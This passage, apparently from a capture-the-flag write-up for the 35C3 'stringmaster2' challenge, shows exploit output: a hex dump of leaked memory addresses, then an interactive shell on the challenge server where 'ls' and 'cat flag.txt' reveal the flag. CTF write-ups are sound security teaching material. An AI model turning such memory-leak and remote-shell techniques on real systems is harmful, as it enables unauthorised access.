00000070  00 00 00 00  00 00 00 00  c5 22 21 d9  08 7f 00 00  |····|····|·"!·|····|
00000080  00 00 00 00  00 00 00 00  97 4b 1e d9  08 7f 00 00  |····|····|·K··|····|
00000090  90 ff ff ff  ff ff ff ff  68 8e 60 bb  fd 7f 00 00  |····|····|h·`·|····|
000000a0  90 ff ff ff  01 00 00 00  e1 25 71 dd  11 56 00 00  |····|····|·%q·|·V··|
000000b0  00 00 00 00  00 00 00 00  3a 8a c0 67  96 3f 3f f2  |····|····|:··g|·??·|
000000c0  30 12 71 dd  11 56 00 00  60 8e 60 bb  fd 7f 00 00  |0·q·|·V··|`·`·|····|
000000d0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
000000e0  3a 8a c0 31  b5 f3 e7 a1  3a 8a 7e bc  48 37 0d a0  |:··1|····|:·~·|H7··|
000000f0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
00000100  00 00 00 00  00 00 00 00  33 57 b6 d9  08 7f 00 00  |····|····|3W··|····|
00000110  b8 52 b4 d9  08 7f 00 00  7a 59 26 00  00 00 00 00  |·R··|····|zY&·|····|
00000120  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
00000130  00 00 00 00  00 00 00 00  30 12 71 dd  11 56 00 00  |····|····|0·q·|·V··|
00000140  60 8e 60 bb  fd 7f 00 00  5a 12 71 dd  11 56 00 00  |`·`·|····|Z·q·|·V··|
00000150  58 8e 60 bb  fd 7f 00 00  1c 00 00 00  00 00 00 00  |X·`·|····|····|····|
00000160  01 00 00 00  00 00 00 00  46 af 60 bb  fd 7f 00 00  |····|····|F·`·|····|
00000170  00 00 00 00  00 00 00 00  54 af 60 bb  fd 7f 00 00  |····|····|T·`·|····|
00000180  6a af 60 bb  fd 7f 00 00  75 af 60 bb  fd 7f 00 00  |j·`·|····|u·`·|····|
00000190  80 af 60 bb  fd 7f 00 00  c2 af 60 bb  fd 7f 00 00  |··`·|····|··`·|····|
000001a0  c8 af 60 bb  fd 7f 00 00  00 00 00 00  00 00 00 00  |··`·|····|····|····|
000001b0  21 00 00 00  00 00 00 00  00 10 78 bb  fd 7f 00 00  |!···|····|··x·|····|
000001c0  10 00 00 00  00 00 00 00  ff fb 8b 1f  00 00 00 00  |····|····|····|····|
000001d0  06 00 00 00  00 00 00 00  00 10 00 00  00 00 00 00  |····|····|····|····|
000001e0  11 00 00 00  00 00 00 00  64 00 00 00  00 00 00 00  |····|····|d···|····|
000001f0  03 00 00 00  00 00 00 00  40 00 71 dd  11 56 00 00  |····|····|@·q·|·V··|
00000200  04 00 00 00  00 00 00 00  38 00 00 00  00 00 00 00  |····|····|8···|····|
00000210  05 00 00 00  00 00 00 00  09 00 00 00  00 00 00 00  |····|····|····|····|
00000220  07 00 00 00  00 00 00 00  00 50 b5 d9  08 7f 00 00  |····|····|·P··|····|
00000230  08 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
00000240  09 00 00 00  00 00 00 00  30 12 71 dd  11 56 00 00  |····|····|0·q·|·V··|
00000250  0b 00 00 00  00 00 00 00  e8 03 00 00  00 00 00 00  |····|····|····|····|
00000260  0c 00 00 00  00 00 00 00  e8 03 00 00  00 00 00 00  |····|····|····|····|
00000270  0d 00 00 00  00 00 00 00  e8 03 00 00  00 00 00 00  |····|····|····|····|
00000280  0e 00 00 00  00 00 00 00  e8 03 00 00  00 00 00 00  |····|····|····|····|
00000290  17 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
000002a0  19 00 00 00  00 00 00 00  f9 8f 60 bb  fd 7f 00 00  |····|····|··`·|····|
000002b0  1a 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
000002c0  1f 00 00 00  00 00 00 00  e9 af 60 bb  fd 7f 00 00  |····|····|··`·|····|
000002d0  0f 00 00 00  00 00 00 00  09 90 60 bb  fd 7f 00 00  |····|····|··`·|····|
000002e0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
000002f0  00 00 00 00  00 00 00 00  00 12 be ae  7a 78 b2 1c  |····|····|····|zx··|
00000300  75 70 15 ba  42 0e 2f 1d  45 78 38 36  5f 36 34 00  |up··|B·/·|Ex86|_64·|
00000310  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
*
00001000
[*] Quitting...
[*] Switching to interactive mode
You lost.
$ ls
bin
boot
dev
etc
flag.txt
home
```

```
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
stringmaster2
sys
tmp
usr
var
$ cat flag.txt
35C3_fb23c497dbbf35b0f13b9d16311fa59cf8ac1b02
$ exit
[*] Got EOF while reading in interactive
$
$
[*] Closed connection to 35.207.132.47 port 22225
[*] Got EOF while sending in interactive
```

The flag: 35C3_fb23c497dbbf35b0f13b9d16311fa59cf8ac1b02